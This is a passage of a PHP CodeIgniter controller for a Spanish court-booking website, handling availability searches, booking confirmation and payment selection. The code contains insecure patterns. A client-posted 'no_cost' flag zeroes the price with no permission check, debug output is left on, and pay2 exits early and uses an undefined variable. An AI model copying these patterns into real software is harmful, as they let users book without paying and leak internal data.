$estado_reserva, 0, $user_id, $this->input->post('user_desc'), $this->input->post('user_phone'), $no_cost, $this->input->post('no_cost_desc')); $success=1; break; } #Cada vez que voy a buscar, actualizo el id de transaccion $this->session->set_userdata('idTransaction', $this->app_common->getIdTransaction()); //echo "aaa".$profile->email; # Mail de notificaciรณn de reservas $this->booking->notify_booking($info); $data=array( 'meta' => $this->load->view('meta', '', true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'menu' => $this->load->view('menu', $menu, true), 'footer' => $this->load->view('footer', '', true), 'error' => $this->session->flashdata('message'), 'main_content' => $this->load->view('reservas/payment_gestion', array('info' => $info, 'success' => $success, 'return_url' => $this->session->userdata('return_url')), true), //'page'=>'reservas/confirm', 'info' => $info, 'no_cost' => 1, 'reserve' => 1, 'pay' => 1, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion de bรบsqueda de pista para AJAX # ------------------------------------------------------------------- function search2($fecha, $pista=NULL,$deporte=NULL, $tipo=NULL, $dummy ) { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Lessons_model', 'lessons', TRUE); if(!isset($fecha) || !isset($dummy)) { redirect(base_url(), 'Location'); exit(); } # Si vienen con el texto 'null', las vacรญo, porque es que no fueron seleccionadas como filtro if($pista=='null') $pista=''; if($deporte=='null') $deporte=''; if($tipo=='null') $tipo=''; $fecha_form=$fecha; $fecha=date($this->config->item('date_db_format'), strtotime($fecha)); //echo $deporte."-".$tipo."-".$pista."-".$fecha; # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; $user_name=$profile->username; } else { $user_id=0; $user_group=9; $user_name=$this->lang->line('anonymous_user'); } # Vacio el array de elementos seleccionados $this->session->set_userdata('bookingInterval', array()); #Cada vez que voy a buscar, actualizo el id de transaccion $id_transaction = $this->app_common->getIdTransaction(); $this->session->set_userdata('idTransaction', $id_transaction); //echo $this->session->userdata('idTransaction'); if(isset($fecha) && $fecha!="" && isset($pista) && $pista!="") { $pista_elegida=$pista; $pistas=array($pista_elegida); $this->pistas->id=$pista_elegida; $nombre_pista=$this->pistas->getDescription(); $dia_elegido=$fecha; //$this->reservas->date=$dia_elegido; //$this->reservas->court=$pista_elegida; $this->reservas->id_user=$user_id; if($this->redux_auth->logged_in()) $this->reservas->clearByUser($user_id); // Si hay alguien logueado, borro las reservas pendientes de confirmar al hacer una nueva bรบsqueda else $this->reservas->clearBySession($this->session->userdata('session_id')); //print("<pre>"); /* $this->reservas->getSpecialTimetableByCourt(); print("a");print_r($this->reservas->availability);exit(); if(!$this->reservas->availability) $this->reservas->getSpecialTimetable(); print("b");print_r($this->reservas->availability); if(!$this->reservas->availability) $this->reservas->availability=$this->pistas->getTimetable($dia_elegido); //print_r($this->reservas->availability); print("c");print_r($this->reservas->availability); $this->reservas->getAvailabilityByCourt($fecha,$pista); print("d");print_r($this->reservas->availability); $this->reservas->availability=$this->lessons->updateTimetable($fecha, $pista, $this->reservas->availability); */ $this->app_common->get_court_availability($pista_elegida, $dia_elegido); $availability_array[$nombre_pista]=$this->reservas->availability; //$availability_array=array($this->reservas->availability); //print_r($this->reservas->availability); # Hay que mirar si tiene horas reservadas para modificar el horario de base... } elseif (isset($fecha) && $fecha!="") { # Si no seleccionan pista, saco toda la info de todas las pistas $pistas=$this->pistas->getAvailableCourts($deporte,$tipo); //print_r($pistas); $availability_array=array(); foreach($pistas as $elemento) { $pista_elegida=$elemento; // Valor de ejemplo .. Deberรก ser el seleccionado $this->pistas->id=$pista_elegida; $nombre_pista=$this->pistas->getDescription(); $dia_elegido=$fecha; //$this->reservas->date=$dia_elegido; //$this->reservas->court=$pista_elegida; $this->reservas->id_user=$user_id; $this->reservas->availability=NULL; //echo 'Pista '.$this->pistas->id.'<br>'; if($this->redux_auth->logged_in()) $this->reservas->clearByUser($user_id); // Si hay alguien logueado, borro las reservas pendientes de confirmar al hacer una nueva bรบsqueda /* $this->reservas->getSpecialTimetableByCourt(); if(!$this->reservas->availability) $this->reservas->getSpecialTimetable(); if(!$this->reservas->availability) $this->reservas->availability=$this->pistas->getTimetable($dia_elegido); $this->reservas->getAvailabilityByCourt($fecha,$pista_elegida); $this->reservas->availability=$this->lessons->updateTimetable($fecha, $pista_elegida, $this->reservas->availability); */ $this->app_common->get_court_availability($pista_elegida, $dia_elegido); $availability_array[$nombre_pista]=$this->reservas->availability; //print("a<pre>");print_r($availability_array);exit(); //array_push(, $this->reservas->availability); } } //echo $this->agent->browser().'----'; print_r($this->config->item('special_browser')); //if(in_array($this->agent->browser(), $this->config->item('special_browser'))) echo "AAAAA"; //$this->load->view('main', $data); if(in_array($this->agent->browser(), $this->config->item('special_browser'))) { $added = array('added_footer' => 'Pagina adaptada a IE'); $data=array( //'menu' => $this->load->view('menu', $menu, true), 'user_name' => $user_name, //'search_fields' => $this->load->view('reservas/search_fields2', array('search_fields'=> $this->simpleSearchFields(), 'form' => 'frmReserva', 'disabled' => $disabled), true), //'result' => $this->load->view('reservas/simple_result', array('availability' => $availability_array, 'user_id' => $user_id, 'filters' => $this->load->view('reservas/search_fields', array('search_fields'=> $this->simpleSearchFields()), true)), true), //'validation_script' => $validation_script, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); if($this->redux_auth->logged_in()) { $data['meta']=$this->load->view('meta', '', true); $data['header']=$this->load->view('header', array('enable_menu' => '1'), true); $data['footer']=$this->load->view('footer', $added, true); } else { $data['meta']=$this->load->view('meta_index', '', true); $data['header']=$this->load->view('header_index', array('enable_menu' => '0'), true); $data['footer']=$this->load->view('footer_index', $added, true); } $data['main_content']=$this->load->view('reservas/simple_result2_iexplorer', array('id_transaction' => $this->session->userdata('idTransaction'), 'availability' => $availability_array, 'pistas' => $pistas, 'user_name' => $user_name, 'user_id' => $user_id, 'date' => $fecha_form), true); $this->load->view('main', $data); } else $this->load->view('reservas/simple_result2', array('id_transaction' => $this->session->userdata('idTransaction'), 'availability' => $availability_array, 'pistas' => $pistas, 'user_id' => $user_id, 'date' => $fecha_form)); //print("<pre>");print_r($this->session); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion de seleccion de pago para AJAX # ------------------------------------------------------------------- function confirm2($dummy, $id_transaction, $full_view = 0, $prereserved = 0) { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Redux_auth_model', 'usuario', TRUE); $this->load->library('booking'); $debug = TRUE; $session=$this->session->userdata('session_id'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_level=$profile->group; } else { $user_id=0; $user_level=9; } //print("<pre>");print_r($_POST);exit(); $info=$this->reservas->getBookingInfoById($id_transaction); //print("<pre>");print_r($info);//exit(); # Comprobaciรณn (si corresponde) del nรบmero mรกximo de reservas diarias por usuario $booking_id_user = $this->input->post('id_user'); $booking_id_user = $user_id; // Con esto se comprueba el maximo de reservas en base al usuario logueado, no en base al usuario de la reserva.. if($booking_id_user=='') $booking_id_user = 0; if($booking_id_user != 0) $valida_por_maxima = $this->booking->checkMaximumBookingPerDayUserSport($info['date'], $info['id_court'], $booking_id_user); else $valida_por_maxima = TRUE; if($debug) { if($valida_por_maxima) echo 'reserva valida respecto a maximos diarios de reserva'; else echo 'reserva INVALIDA respecto a maximos diarios de reserva'; } //exit(); if(!$valida_por_maxima) { //$this->session->set_userdata('error_message', 'El usuario ha excedido el n&uacte;mero m&aacute;ximo de reservas diarias para ese deporte'); //redirect(site_url(), 'Location'); echo '<div class="ui-widget"> <div class="ui-state-highlight ui-corner-all" > <p>'.img( array('src'=>'images/warning_48.png', 'border'=>'0', 'alt' => 'Warning', 'align'=>'absmiddle')).' El usuario ha excedido el n&uacute;mero m&aacute;ximo de reservas diarias para ese deporte. Para reservar de nuevo, haga click '.anchor('reservas', 'aqu&iacute;').'</p> </div> </div>'; exit(); } # Fin de la comprobacicรณn de reservas mรกximas por usuario/dia/deporte $multi_player = FALSE; $multi_player = $this->config->item('booking_record_players'); $record_players_number = array(); if(isset($multi_player) && $multi_player) { $record_players_range = $this->config->item('booking_record_players_range'); } if(!isset($record_players_range)) $record_players_range = array(1); # Grabaciรณn del usuario principal $booking_id_user = $this->input->post('id_user'); $booking_user_desc = $this->input->post('user_desc'); $booking_user_phone = $this->input->post('user_phone'); $add = 1; if((!isset($booking_id_user) || $booking_id_user == '') && (!isset($booking_user_desc) || $booking_user_desc == '') && (!isset($booking_user_phone) || $booking_user_phone =='')) $add = 0; if($booking_id_user=='') $booking_id_user = 0; if($add==1) $this->reservas->add_player($id_transaction, array('id_user' => $booking_id_user, 'user_desc' => $booking_user_desc , 'user_phone' => $booking_user_phone)); #Si viene el usuario reegistrado seleccionado, me aseguro de rellenar los campos de nombre de usuario y telefono if($booking_id_user!='' && $booking_id_user!=0) { $booking_user_desc = $this->usuario->getUserDesc($booking_id_user); $booking_user_phone = $this->usuario->getUserPhone($booking_id_user); } #Si la opciรณn de grabar multiples jugadores estรก activa, recojo los datos y los grabo if($multi_player) { for($i=1; $i< max($record_players_range); $i++) { $booking_id_user_X = $this->input->post('id_user_'.$i); $booking_user_desc_X = $this->input->post('user_desc_'.$i); $booking_user_phone_X = $this->input->post('user_phone_'.$i); if($booking_id_user_X=='') $booking_id_user_X = 0; if($booking_id_user_X != 0 || ($booking_user_desc_X!='' && $booking_user_phone_X!='')) $this->reservas->add_player($id_transaction, array('id_user' => $booking_id_user_X, 'user_desc' => $booking_user_desc_X , 'user_phone' => $booking_user_phone_X)); } } $booking_no_cost = $this->input->post('no_cost'); if($booking_no_cost == "true") $booking_no_cost = TRUE; else $booking_no_cost = FALSE; if($booking_no_cost) $info['total_price']=0; $booking_no_cost_desc = $this->input->post('no_cost_desc'); $booking_light = $this->input->post('allow_light'); if($booking_light == "true") $booking_light = TRUE; else $booking_light = FALSE; if($booking_light) $this->reservas->setLight($id_transaction); //echo "AA".$id_transaction; //echo $this->session->userdata('idTransaction'); //print("<pre>"); print_r($this->reservas->getBookingInfoBySession($session)); $info=$this->reservas->getBookingInfoById($id_transaction); //print("<pre>");print_r($info);print("</pre>");exit(); if(!isset($info) || !is_array($info) || count($info)<1) { $this->session->set_flashdata('message', '<p class="error">'.$this->lang->line('session_lost_alert').'</p>'); //redirect(site_url('/reservas/'), 'Location'); exit(); } # Si viene marcado el check de preserervada, es que viene de una reserva ya hecha y solo viene a ser pagada.. asรญ que los datos los saco de la reserva, no del POST. (especial para el panel decontrol) if($prereserved) { $booking_id_user = $info['user']; $booking_user_desc = $info['user_desc']; $booking_user_phone = $info['user_phone']; if($info['no_cost']) { $booking_no_cost = TRUE; $booking_no_cost_desc = $info['no_cost_desc']; } else { $booking_no_cost = FALSE; $booking_no_cost_desc = null; } if($info['light']) $booking_light = TRUE; else $booking_light = FALSE; } $success=0; if(isset($info['status']) && $info['status']!="") $estado_reserva=$info['status']; else $estado_reserva=5; if($booking_no_cost) { # Si se ha marcado que la reserva no tiene coste, podemos saltarnos la siguiente pestaรฑa y marcar la reserva como hecha $estado_reserva=9; $modo_pago=1; $this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $booking_id_user, $booking_user_desc, $booking_user_phone, 1, $booking_no_cost_desc); $this->reservas->setPrice($id_transaction); $info=$this->reservas->getBookingInfoById($id_transaction); # Una vez marcada como reservada, pinto el javascript necesario para que se redirija a la รบltima pestaรฑa. //$method, $id_transaction, $dummy, $no_cost = '0', $no_cost_desc = NULL $this->session->set_flashdata('booking_no_cost_desc',$booking_no_cost_desc); echo '<script type="text/javascript">'."\r\n"; ?> var direccion2 = '<?php echo site_url('reservas/payd/cash/'.$id_transaction.'/'.time().'/1');?>'; $("#accordion").accordion({ animated: 'slide' }); $("#confirm_payment").html(' <div class="ui-widget"> <div class="ui-state-highlight ui-corner-all" > <p align="center">Loading....&nbsp;<?php echo img( array('src'=>'images/load.gif', "align"=>"absmiddle", "border"=>"0"));?></p> </div> </div>'); $.ajax({ type: 'GET', url: direccion2, success: function(data) { $("#search_payment").html(' <div class="ui-widget"> <div class="ui-state-highlight ui-corner-all" > <p><?php echo img( array('src'=>'images/warning_48.png', 'border'=>'0', 'alt' => 'Warning', 'align'=>'absmiddle')); ?>Ya solo puedes hacer una nueva b&uacute;squeda o confirmar la seleccion.</p> </div> </div>'); $("#accordion").accordion("activate" , 4); $("#search_extra").html(' <div class="ui-widget"> <div class="ui-state-highlight ui-corner-all" > <p><?php echo img( array('src'=>'images/warning_48.png', 'border'=>'0', 'alt' => 'Warning', 'align'=>'absmiddle')); ?>Ya solo puedes hacer una nueva b&uacute;squeda o confirmar la seleccion.</p> </div> </div>'); $("#confirm_payment").html(data); } }); <?php echo '</script>'."\r\n"; } else { # Si no estรก marcada como 'sin coste', completo la informaciรณn de la reserva con los datos facilitados, grabo en session la informaciรณn de la reserva y me redirijo a la pantalla de pagos. $this->reservas->setSelectionReserved($id_transaction, $estado_reserva, 0, $booking_id_user, $booking_user_desc, $booking_user_phone, 0); $this->reservas->setPrice($id_transaction); //exit(); $info=$this->reservas->getBookingInfoById($id_transaction); //print("<pre>");print_r($info);print("</pre>"); //exit(); # Gestiรณn de mรฉtodos de pago a mostrar $this->load->model('Payment_model', 'pagos', TRUE); $paymentMethods=$this->pagos->getPaymentMethodsByUser($user_level); if($user_level==7) { $paymentMethods['cash'] = FALSE; $paymentMethods['creditcard'] = FALSE; } $this->session->set_flashdata('paymentMethods', $paymentMethods); $conceptos = array(); array_push($conceptos, array('text' => "Reserva ".$info['court']." (".$this->app_common->IntervalToTime($info['intervals'], $info['id_court']).")", 'value' => $info['price'])); if($info['light']) array_push($conceptos, array('text' => "Suplemento de luz", 'value' => $info['light_price'])); if(isset($info['precio_supl1']) && $info['precio_supl1'] != 0) array_push($conceptos, array('text' => "Suplemento reserva anticipada", 'value' => $info['precio_supl1'])); if(isset($info['playing_users']) && count($info['playing_users']) > 1) { $externos = 0; if($debug) print_r($info['players']); foreach($info['playing_users'] as $usuario) { if(isset($usuario['id_user']) && $usuario['id_user'] == 0) $externos++; } $precio = 0; if($externos > 0 ) { $precio = ($externos * 7 ); $this->reservas->setPriceExtra($id_transaction, 'price_supl2', $precio, 'first'); //echo $externos; array_push($conceptos, array('text' => "Invitados (".$externos.")", 'value' => $precio)); } } $booking_extra_lasmatillas=$this->config->item('booking_extra_lasmatillas'); $booking_extra_lasmatillas_quantity=$this->config->item('booking_extra_lasmatillas_quantity'); if(isset($booking_extra_lasmatillas) && $booking_extra_lasmatillas && isset($booking_extra_lasmatillas_quantity)){ if($info['intervals']/3 >= 1 && $info['intervals']%3 == 0) { $price_supl3 = $booking_extra_lasmatillas_quantity * intval($info['intervals']/3); $this->reservas->setPriceExtra($id_transaction, 'price_supl3', $price_supl3, 'first'); array_push($conceptos, array('text' => "Descuento hora y media", 'value' => $price_supl3)); } } //echo ($info['intervals']/3).'<br>'; //echo '<pre>';print_r($info);print_r($conceptos); //exit(); $this->session->set_flashdata('paymentLines', $conceptos); //$this->session->set_flashdata('returnOkUrl', site_url('reservas/booking_confirmation/'.$id_transaction.'/1/'.time())); $this->session->set_flashdata('returnKoUrl', site_url('reservas/booking_confirmation/'.$id_transaction.'/0/'.time())); redirect(site_url('payment/payment_request/1/'.$id_transaction), 'Location'); exit(); } } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion de confirmaciรณn de partido de reto # ------------------------------------------------------------------- function confirm_reto($dummy, $id_transaction, $full_view = 0, $prereserved = 0) { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Redux_auth_model', 'usuario', TRUE); $session=$this->session->userdata('session_id'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_level=$profile->group; } else { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } //print("<pre>");print_r($_POST); $booking_id_user = $user_id; $booking_no_cost = FALSE; $booking_no_cost_desc = ''; $booking_light = $this->input->post('allow_light'); if($booking_light == "true") $booking_light = TRUE; else $booking_light = FALSE; if($booking_light) $this->reservas->setLight($id_transaction); //echo "AA".$id_transaction; //echo $this->session->userdata('idTransaction'); //print("<pre>"); print_r($this->reservas->getBookingInfoBySession($session)); $info=$this->reservas->getBookingInfoById($id_transaction); //print("<pre>");print_r($info);print("</pre>");//exit(); if(!isset($info) || !is_array($info) || count($info)<1) { $this->session->set_userdata('error_message', $this->lang->line('session_lost_alert')); redirect(site_url('reservas'), 'Location'); exit(); } $success=0; $estado_reserva=7; # Si no estรก marcada como 'sin coste', completo la informaciรณn de la reserva con los datos facilitados, grabo en session la informaciรณn de la reserva y me redirijo a la pantalla de pagos. $this->reservas->setSelectionReserved($id_transaction, $estado_reserva, 0, $booking_id_user, '', '', 0); $this->reservas->setSelectionShared($id_transaction); //exit(); redirect(site_url('retos/new_reto/'.$id_transaction), 'Location'); exit(); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion de seleccion de pago para AJAX en pantalla de recepcion # Se le llama al pulsar sobre la opciรณn de 'pagar' del menรบ contextual del panel de recepciรณn # ------------------------------------------------------------------- function confirm3($dummy, $price_light = NULL, $light = NULL, $id_transaction = NULL) { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Redux_auth_model', 'usuario', TRUE); $session=$this->session->userdata('session_id'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_level=$profile->group; } else { $user_id=0; $user_level=9; } if(!isset($id_transaction)) { $id_transaction=$this->session->userdata('idTransaction'); if($light=="true") $this->reservas->setLight($id_transaction,$price_light); } //echo $this->session->userdata('idTransaction'); //print("<pre>"); print_r($this->reservas->getBookingInfoBySession($session)); $info=$this->reservas->getBookingInfoById($id_transaction); //print("<pre>");print_r($info);print("</pre>");//exit(); if(!isset($info) || !is_array($info) || count($info)<1) { $this->session->set_flashdata('message', '<p class="error">'.$this->lang->line('session_lost_alert').'</p>'); redirect(site_url('/reservas/'), 'Location'); exit(); } //print_r($this->redux_auth->profile()); /* if($this->redux_auth->logged_in()) { echo "logueado"; } */ //echo $this->input->post('allow_light').' - '.$light; # Recoge las formas de pago disponibles para este nivel de usuario $this->load->model('Payment_model', 'pagos', TRUE); $paymentMethods=$this->pagos->getPaymentMethodsByUser($user_level); # Especificaciones de mรฉtodos de pago de esta pantalla $paymentMethods['tpv'] = FALSE; $paymentMethods['reserve'] = FALSE; $paymentMethods['prepaid'] = FALSE; $paymentMethods['paypal'] = FALSE; //print_r($paymentMethods); # Variable que habilita o no el marcar la reserva sin coste $no_cost=0; if($user_level<=7) $no_cost=1; $filtro=$this->config->item('no_cost_permission'); if(isset($filtro[$user_level])) $no_cost = $filtro[$user_level]; # Variable que habilita o no el reservar por otros usuarios $alt_reserve=0; if($user_level<=7) $alt_reserve=1; # Variable que habilita o no el solicitar los datos del usuario para la reserva $user_data=0; if(!$this->redux_auth->logged_in()) $user_data=1; # Cargo la vista de formas de pago $paymnet_content= $this->load->view('reservas/pago', array('methods' => $paymentMethods, 'transaction_id' => $session, 'info' => $info), true); //print("<pre>");print_r($menu);print("</pre>"); //echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true); $this->load->view('reservas/confirm_admin2', array('info' => $info, 'no_cost' => $no_cost, 'alt_reserve' => $alt_reserve, 'multiuser' => '1', 'pay' => 1, 'pay_content' => $paymnet_content, 'form' => 'frmReserva', 'transaction_id' => $id_transaction)); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion de confirmacion de pago para AJAX # ------------------------------------------------------------------- function pay2($idTransaction, $no_cost, $no_cost_desc = NULL, $user = NULL, $user_desc = NULL, $user_phone = NULL, $dummy) { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Payment_model', 'pagos', TRUE); $this->load->model('Redux_auth_model', 'usuario', TRUE); $this->load->library('booking'); if($no_cost_desc=="null") $no_cost_desc = NULL; if($user=="null") $user = 0; if($user_desc=="null") $user_desc = NULL; if($user_phone=="null") $user_phone = NULL; if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; } else $user_id=0; $logged_user=$user_id; $session=$this->session->userdata('user_id'); $info=$this->reservas->getBookingInfoById($idTransaction); print("<pre>");print_r($info);print("</pre>");exit(); if(!isset($info) || !is_array($info) || count($info)<1) { $this->session->set_userdata('error_message', $this->lang->line('session_lost_alert')); redirect(site_url('/reservas/'), 'Location'); exit(); } if($no_cost=="true") $no_cost=1; else $no_cost=0; if($no_cost) $info['total_price']=0; $success=0; switch($mode) { case 'prepaid': $estado_reserva=9; $modo_pago=5; $this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user, $user_desc, $user_phone, $no_cost, $no_cost_desc); if(!$no_cost) { if($this->usuario->addPrepaidMovement($user, floatval($info['total_price'] * (-1)), '1', 1, $idTransaction)) $success=1; /* $this->pagos->id_type=1; //Reserva de pista $this->pagos->id_element=$session; $this->pagos->id_transaction=$idTransaction; $this->pagos->id_user=$user; $this->pagos->id_paymentway=$modo_pago; $this->pagos->status=$estado_reserva; $this->pagos->quantity=$info['price']; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description='Cargo al credito prepago'; $this->pagos->create_user=$logged_user; $this->pagos->create_time=date($this->config->item('log_date_format')); if($this->pagos->setPayment()) $success=1; */ } else $success=1; break; case 'creditcard': $estado_reserva=9; $modo_pago=2; $this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user, $user_desc, $user_phone, $no_cost, $no_cost_desc); if(!$no_cost) { $this->pagos->id_type=1; //Reserva de pista $this->pagos->id_element=$session; $this->pagos->id_transaction=$idTransaction; $this->pagos->id_user=$user; $this->pagos->desc_user=$user_desc; $this->pagos->id_paymentway=$modo_pago; $this->pagos->status=$estado_reserva; $this->pagos->quantity=$info['total_price']; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description='Reserva por tarjeta credito'; $this->pagos->create_user=$logged_user; $this->pagos->create_time=date($this->config->item('log_date_format')); if($this->pagos->setPayment()) $success=1; } else $success=1; break; case 'tpv': $estado_reserva=7; $estado_pago=5; $modo_pago=6; $this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user, $user_desc, $user_phone, $no_cost, $no_cost_desc); if(!$no_cost) { $this->pagos->id_type=1; //Reserva de pista $this->pagos->id_element=$session; $this->pagos->id_transaction=$idTransaction; $this->pagos->id_user=$user; $this->pagos->desc_user=$user_desc; $this->pagos->id_paymentway=$modo_pago; $this->pagos->status=$estado_pago; $this->pagos->quantity=$info['total_price']; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description='Reserva por tarjeta credito'; $this->pagos->create_user=$logged_user; $this->pagos->create_time=date($this->config->item('log_date_format')); if($this->pagos->setPayment()) $success=9; } else $success=1; break; case 'paypal': $estado_reserva=7; $estado_pago=5; $modo_pago=3; $this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user, $user_desc, $user_phone, $no_cost, $no_cost_desc); if(!$no_cost) { $this->pagos->id_type=1; //Reserva de pista $this->pagos->id_element=$session; $this->pagos->id_transaction=$idTransaction; $this->pagos->id_user=$user; $this->pagos->desc_user=$user_desc; $this->pagos->id_paymentway=$modo_pago; $this->pagos->status=$estado_pago ; $this->pagos->quantity=$info['total_price']; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description='Reserva por Paypal'; $this->pagos->create_user=$logged_user; $this->pagos->create_time=date($this->config->item('log_date_format')); if($this->pagos->setPayment()) $success=9; } else $success=1; break; case 'cash': $estado_reserva=9; $modo_pago=1; $this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user, $user_desc, $user_phone, $no_cost, $no_cost_desc); //echo "AA";exit(); if(!$no_cost) { $this->pagos->id_type=1; //Reserva de pista $this->pagos->id_element=$session; $this->pagos->id_transaction=$idTransaction; $this->pagos->id_user=$user; $this->pagos->desc_user=$user_desc; $this->pagos->id_paymentway=$modo_pago; $this->pagos->status=$estado_reserva; $this->pagos->quantity=$info['total_price']; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description='Reserva pagada en efectivo'; $this->pagos->create_user=$logged_user; $this->pagos->create_time=date($this->config->item('log_date_format')); if($this->pagos->setPayment()) $success=1; } else $success=1; break; case 'bank': $estado_reserva=9; $estado_pago = 2; $modo_pago=1; $this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user, $user_desc, $user_phone, $no_cost, $no_cost_desc); //echo "AA";exit(); if(!$no_cost) { $this->pagos->id_type=1; //Reserva de pista $this->pagos->id_element=$session; $this->pagos->id_transaction=$idTransaction; $this->pagos->id_user=$user; $this->pagos->desc_user=$user_desc; $this->pagos->id_paymentway=$modo_pago; $this->pagos->status=$estado_pago; $this->pagos->quantity=$info['total_price']; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description='Reserva pagada en efectivo'; $this->pagos->create_user=$logged_user; $this->pagos->create_time=date($this->config->item('log_date_format')); if($this->pagos->setPayment()) $success=1; } else $success=1; break; case 'reserve': $estado_reserva=7; $this->reservas->setSelectionReserved($idTransaction, $estado_reserva, 0, $user_id, $user_desc, $user_phone, $no_cost, $no_cost_desc); $success=1; break; } # Mail de notificaciรณn de reservas if($success == "1" && $this->config->item('reserve_send_mail')) { $this->booking->notify_booking($info); } #Cada vez que voy a buscar, actualizo el id de transaccion $this->session->set_userdata('idTransaction', $this->app_common->getIdTransaction()); $this->load->view('reservas/payment', array('info' => $info, 'success' => $success)); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion de gestiรณn de la reserva tras el pago de la misma # ------------------------------------------------------------------- function payd($method, $id_transaction, $dummy, $no_cost = '0', $no_cost_desc = NULL) { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Payment_model', 'pagos', TRUE); $this->load->model('Redux_auth_model', 'usuario', TRUE); $this->load->library('booking'); $paymentMethods = $this->session->flashdata('paymentMethods'); //echo "<br>"; //print_r($paymentMethods); $paymentLines = $this->session->flashdata('paymentLines'); //echo "<br>"; //print_r($paymentLines); $returnOkUrl = $this->session->flashdata('returnOkUrl'); //echo "<br>".$returnOkUrl; $returnKoUrl = $this->session->flashdata('returnKoUrl'); //echo "<br>".$returnKoUrl; //echo "<br>".$id_transaction."<br>"; if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; } else $user_id=0; $logged_user=$this->session->userdata('user_id'); $session=$this->session->userdata('user_id'); $info=$this->reservas->getBookingInfoById($id_transaction); // print("<pre>");print_r($info);print("</pre>");//exit(); if(!isset($info) || !is_array($info) || count($info)<1) { $this->session->set_flashdata('message', '<p class="error">'.$this->lang->line('session_lost_alert').'</p>'); redirect(site_url('/reservas/'), 'Location'); exit(); } $no_cost_desc = $this->session->flashdata('booking_no_cost_desc'); $success=0; switch($method) { case 'prepaid': $estado_reserva=9; $modo_pago=5; if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1; break; case 'creditcard': $estado_reserva=9; $modo_pago=2; if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1; break; case 'tpv': $estado_reserva=7; $estado_pago=5; $modo_pago=6; if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=5; break; case 'paypal': $estado_reserva=7; $estado_pago=5; $modo_pago=3; if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1; break; case 'reserve': $estado_reserva=7; $this->reservas->setSelectionReserved($id_transaction, $estado_reserva, 0, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc); $success=5; break; case 'cash': $estado_reserva=9; $modo_pago=1; if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1; //echo "AA";exit(); break; case 'bank': $estado_reserva=9; $modo_pago=4; if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1; //echo "AA";exit(); break; } //exit(); //log_message('debug','Estado: '.$success); # Mail de notificaciรณn de reservas if(($success == "1" ||$success == "5")&& $this->config->item('reserve_send_mail')) { $this->booking->notify_booking($info); } #Cada vez que voy a buscar, actualizo el id de transaccion $this->session->set_userdata('idTransaction', $this->app_common->getIdTransaction()); if($returnOkUrl != '') { //exit($returnOkUrl); redirect($returnOkUrl, 'Location'); exit(); } if(strlen($info['id'])<4) $order=sprintf("%04s", $info['id']).date('is').'re'; else $order=$info['id'].date('is').'re'; $paymentDescription = $info['operation_desc']; $this->load->view('reservas/payment', array('info' => $info, 'success' => 